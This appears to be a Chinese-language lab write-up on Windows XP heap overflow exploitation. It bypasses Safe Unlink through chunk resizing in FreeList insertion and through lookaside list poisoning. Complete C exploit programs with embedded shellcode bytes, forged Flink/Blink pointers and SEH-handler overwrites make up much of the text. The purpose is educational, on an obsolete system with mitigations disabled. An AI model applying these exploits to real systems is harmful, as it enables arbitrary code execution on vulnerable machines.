利用chunk重设大小攻击堆
实验环境
推荐使用的环境 | 备注 | |
---|---|---|
操作系统 | Windows xp | 关闭SafeSEH,GS,DEP |
编译器 | VC++ 6.0 | |
编译选项 | 默认编译选项 | |
build版本 | release版本 |
实验前准备
Safe Unlink使得从FreeList[n]上拆卸chunk时对双向链表的有效性进行了验证。但是chunk插入FreeList[n]的时候并没有进行验证。
有两种情况下会链表会发生插入操作:
- 内存释放后chunk不被使用
- 当chunk的内存空间大于申请的空间时,剩余的空间会被建立成一个新的chunk,链入链表中。
从FreeList[n]上申请空间的过程:
- 将FreeList[0]上的最后一个chunk与申请空间的大小进行比较,如果chunk大于等于申请的空间,继续分配,否则拓展空间
- 从FreeList[0]上的第一个chunk开始依次检测,查找到第一个满足申请空间的chunk,然后将其从链表上拆卸下来。
- 分配好空间后如果chunk有剩余空间,剩余的空间会被建立成一个新的chunk,重新插入到链表中。
#include<stdio.h>
#include<windows.h>
void main()
{
HLOCAL h1;
HANDLE hp;
hp = HeapCreate(0, 0x1000, 0x10000);
_asm int 3
h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 0x10);
}
eax是我们申请的堆块起始地址0x390000,0x390178是freelist[0]此时其只有一个chunk,freelist[0]节点flink和blink都指向了唯一的chunk0x390688
在将新chunk插入到链表中。这是修改chunk中下一chunk指针和上一chunk指针。地址位于ntdll加载地址+0x11513处。
这是新chunk的插入过程
新chunk ->Flink = 旧chunk->Flink
新chunk->Blink = 旧chunk->Flink->Blink
旧chunk->Flink->Blink->Flink = 新chunk
旧chunk->Flink->Blink = 新chunk
如果旧chunk的Flink和Blink分别为0xAAAAAAAA,和0xBBBBBBBB
那么之前的过程将为
[0x003906A0] = 0xAAAAAAAA
[0x003906A0] = [0xAAAAAAAA+4]
[[0xAAAAAAAA+4]] = 0x003906A0
[0xAAAAAAAA+4] = 0x003906A0
这是一个任意地址写入固定值的漏洞。若将内存中的某一个函数指针或者SEH处理函数指针替换成shellcode的地址,就实现了溢出。0xAAAAAAAA+4必须指向可读可写地址,0xAAAAAAAA+4中存放的地址必须是可写的。
实验代码
#include <stdio.h>
#include <windows.h>
void main()
{
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x10\x01\x10\x00\x99\x99\x99\x99"
"\xEB\x06\x39\x00\xEB\x06\x39\x00"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xEB\x31\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x11\x01\x10\x00\x99\x99\x99\x99\x8C\x06\x39\x00\xE4\xFF\x12\x00"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
HLOCAL h1,h2;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
memcpy(h1,shellcode,300);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
int zero=0;
zero=1/zero;
printf("%d",zero);
}
代码的过程如下:
- h1申请16字节的空间
- h1申请的空间后面跟着一个chunk(申请完剩下的,freeList[0]连接着的)
- h1超过16字节的内容会覆盖块首
- chunk覆盖之后,h2申请空间,剩余的空间变成新chunk插入链表的时候,实现了写入。
- 所以伪造h2申请空间前的chunk的Flink和Blink就可以达到写入异常处理指针效果了。
- 制造异常使得程序进入异常处理。
指向的是h2分配前的chunk的Flink和Blink。
h2分配后chunk就是从0x003906B8开始是Flink和Blink
溢出后的结果
新chunk链入链表发现异常处理程序已被覆盖
h2申请空间后发生的是
[0x003906B8] = 0x003906EB
[0x003906B8+4] = 0x0012FFE4
[0x0012FFE4] = 0x003906B8
[0x003906EB+4] = 0x003906B8
最后写入的是第一个分配完chunk的地址。
异常处理也会跳到这里执行,故而我们的EB06就会起到跳转作用,然后再EB06跳转玩的地方在跳转一次,到shellcode就行了
利用Lookaside表进行堆溢出
实验环境
推荐使用的环境 | 备注 | |
---|---|---|
操作系统 | Windows xp | 关闭SafeSEH,GS,DEP |
编译器 | VC++ 6.0 | |
编译选项 | 默认编译选项 | |
build版本 | release版本 |
实验前准备
Safe Unlink对空表中双向链表的拆卸进行了有效性验证,而对于快表中的单链表是没有进行验证的。
拆卸节点 ListNode[n]->next = node->next(即我们修改的0xXXXXXXXX)
再次申请空间 ListNode[n]->next的地址返回给用户。随后ListNode[n]->next = 0xXXXXXXXX->next 即 [0xXXXXXXXX]
实验代码
#include <stdio.h>
#include <windows.h>
void main()
{
char shellcode []=
"\xEB\x40\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//填充
"\x03\00\x03\x00\x5C\x01\x08\x99"//填充
"\xB4\xFF\x12\x00"//用默认异常处理函数指针所在位置覆盖
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//填充
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//填充
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//填充
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x61\x30\x5F\x5F\x68\x68\x75\x31\x79\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
HLOCAL h1,h2,h3;
HANDLE hp;
int zero=0;
hp = HeapCreate(0,0,0);
//__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
HeapFree(hp,0,h3);
HeapFree(hp,0,h2);
memcpy(h1,shellcode,300);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
memcpy(h3,"\x90\x1E\x39\x00",4);
zero=1/zero;
printf("%d",zero);
}
大概的过程如下:
- 申请3块16字节的空间,释放h3,h2到快表中。
- 通过向h1复制超长字符串覆盖h2的堆首中下一堆块指针
- 用户申请空间的时候,ListNode[n]->next会被换成我们所伪造的地址。当用户再次申请空间的时候,我们伪造的地址就会作为用户申请的空间的地址返回给用户。
- 如果这个地址是异常处理的地址,我们就能更改异常处理函数了
- 制造异常转入异常处理函数。
h1,h2,h3申请的空间如上。三个起始地址分别为0x00391E90,0x00391EA8,0x00391EC0。
这是我们需要覆盖的地址。
Lookaside[2]的下一堆块已经被修改成了0x0012FFE4。
再次申请发现0x0012FFE4作为我们申请的地址返回了。
最后只需要将申请空间处的值也就是异常处理的值改为h1的也就是我们shellcode的地址就行了
实验过程唯一的问题可能就是需要将SEH结构选用SEH链第一个,作者使用的是系统默认的异常处理。但是环境不同可能不同。
文章评论